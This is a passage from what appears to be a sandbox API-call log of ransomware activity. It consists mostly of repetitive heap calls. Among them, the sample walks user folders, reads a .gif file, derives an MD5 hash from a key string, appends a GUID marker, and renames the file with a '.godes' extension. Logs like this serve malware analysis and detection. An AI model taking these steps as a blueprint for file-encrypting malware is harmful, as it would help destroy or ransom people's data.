[0113.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.560] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0113.560] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.561] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.561] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.561] PathFindFileNameW (pszPath="") returned="" [0113.561] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63f0c500, ftCreationTime.dwHighDateTime=0x1d4ccd9, ftLastAccessTime.dwLowDateTime=0x703657f0, ftLastAccessTime.dwHighDateTime=0x1d4d0d8, ftLastWriteTime.dwLowDateTime=0x703657f0, ftLastWriteTime.dwHighDateTime=0x1d4d0d8, nFileSizeHigh=0x0, nFileSizeLow=0x7e2b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zlWIzi2Amt.mp3", cAlternateFileName="ZLWIZI~1.MP3")) returned 0xffffffff [0113.561] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.561] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.561] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0113.561] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.561] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.561] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.561] PathFindFileNameW (pszPath="") returned="" [0113.561] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63f0c500, ftCreationTime.dwHighDateTime=0x1d4ccd9, ftLastAccessTime.dwLowDateTime=0x703657f0, ftLastAccessTime.dwHighDateTime=0x1d4d0d8, ftLastWriteTime.dwLowDateTime=0x703657f0, ftLastWriteTime.dwHighDateTime=0x1d4d0d8, nFileSizeHigh=0x0, nFileSizeLow=0x7e2b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zlWIzi2Amt.mp3", cAlternateFileName="ZLWIZI~1.MP3")) returned 0xffffffff [0113.561] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.561] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.561] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0113.561] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.562] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.562] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.562] PathFindFileNameW (pszPath="") returned="" [0113.562] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x967e0290, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x967e0290, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0113.562] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x967e0290, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x967e0290, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.562] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd425d0, ftCreationTime.dwHighDateTime=0x1d4c848, ftLastAccessTime.dwLowDateTime=0x54dfddf0, ftLastAccessTime.dwHighDateTime=0x1d4c575, ftLastWriteTime.dwLowDateTime=0x54dfddf0, ftLastWriteTime.dwHighDateTime=0x1d4c575, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1E-1x-bA_f", cAlternateFileName="1E-1X-~1")) returned 1 [0113.562] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.562] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini") returned=".ini" [0113.562] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfffd63b0, ftCreationTime.dwHighDateTime=0x1d4cf70, ftLastAccessTime.dwLowDateTime=0x34d190c0, ftLastAccessTime.dwHighDateTime=0x1d4caf3, ftLastWriteTime.dwLowDateTime=0x34d190c0, ftLastWriteTime.dwHighDateTime=0x1d4caf3, nFileSizeHigh=0x0, nFileSizeLow=0xc502, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vs4jAA0 zd1HqzIZFr.gif", cAlternateFileName="VS4JAA~1.GIF")) returned 1 [0113.562] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\vs4jAA0 zd1HqzIZFr.gif") returned=".gif" [0113.562] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\vs4jAA0 zd1HqzIZFr.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vs4jaa0 zd1hqzizfr.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.563] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=50434) returned 1 [0113.563] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.565] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc4dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.565] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.566] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xc502, lpOverlapped=0x0) returned 1 [0113.567] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.567] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.567] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.567] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.568] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.568] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.568] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.568] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.568] GetLastError () returned 0x0 [0113.568] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.568] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.569] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc502, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.569] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.569] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.569] CloseHandle (hObject=0x624) returned 1 [0113.570] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\vs4jAA0 zd1HqzIZFr.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vs4jaa0 zd1hqzizfr.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\vs4jAA0 zd1HqzIZFr.gif.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vs4jaa0 zd1hqzizfr.gif.godes")) returned 1 [0113.571] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76dbddb0, ftCreationTime.dwHighDateTime=0x1d4ce16, ftLastAccessTime.dwLowDateTime=0xc58b2780, ftLastAccessTime.dwHighDateTime=0x1d4d3cb, ftLastWriteTime.dwLowDateTime=0xc58b2780, ftLastWriteTime.dwHighDateTime=0x1d4d3cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X7bnh_OS", cAlternateFileName="")) returned 1 [0113.571] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76dbddb0, ftCreationTime.dwHighDateTime=0x1d4ce16, ftLastAccessTime.dwLowDateTime=0xc58b2780, ftLastAccessTime.dwHighDateTime=0x1d4d3cb, ftLastWriteTime.dwLowDateTime=0xc58b2780, ftLastWriteTime.dwHighDateTime=0x1d4d3cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X7bnh_OS", cAlternateFileName="")) returned 0 [0113.571] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0113.571] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0113.571] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd60 | out: hHeap=0x660000) returned 1 [0113.571] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.571] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.571] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.571] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.571] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.571] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.571] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, 